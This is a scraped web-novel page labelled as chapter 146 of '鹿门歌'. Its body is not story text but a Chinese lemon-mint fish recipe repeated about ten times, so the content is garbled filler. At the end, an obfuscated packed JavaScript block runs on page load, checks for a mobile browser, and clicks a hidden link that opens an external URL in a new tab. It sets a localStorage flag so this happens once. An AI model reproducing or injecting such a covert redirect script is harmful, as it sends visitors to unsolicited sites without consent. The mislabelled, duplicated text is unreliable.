第五文学网 > 科幻小说 > 鹿门歌 > 146 第 146 章

    最新网址:    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好, 鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣, 下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅, 撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后, 需要用柠檬汁腌制入味, 柠檬汁不仅可以增加鱼肉的风味, 还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发, 为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好, 鱼肉切成片, 鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热, 将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅, 撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养, 所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    材料

    草鱼1条、青柠檬2个、老姜、大蒜、薄荷、花椒粒、小米辣、盐、生粉、白芝麻

    做法

    1.提前将原料准备好,鱼肉切成片,鱼骨剁成段待用

    2.将切好的鱼肉用柠檬汁、盐、姜丝、生粉拌匀腌制入味待用

    3.将柠檬切成片;老姜切成丝;大蒜切成片;小米辣切成圈待用

    4.锅内倒油烧热,将老姜、大蒜、花椒粒、辣椒圈炒香后下入鱼骨翻炒1-2分钟,

    5.倒入清水焖10-15分钟制作高汤

    6.将煮好的底汤过滤去渣,下入腌好的鱼片、柠檬片煮熟

    7.临出锅前,下入薄荷、香菜即可出锅,撒上芝麻即可食用

    小诀窍

    厨房小贴士

    1.鱼切成片后,需要用柠檬汁腌制入味,柠檬汁不仅可以增加鱼肉的风味,还可以让鱼肉口感变得细腻鲜嫩

    2.薄荷含有的营养成分易挥发,为了保留营养,所以在出锅前下入即可,这样味不会跑掉

    3.柠檬片和薄荷的需要根据个人口感酌情增减

    最新网址:


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))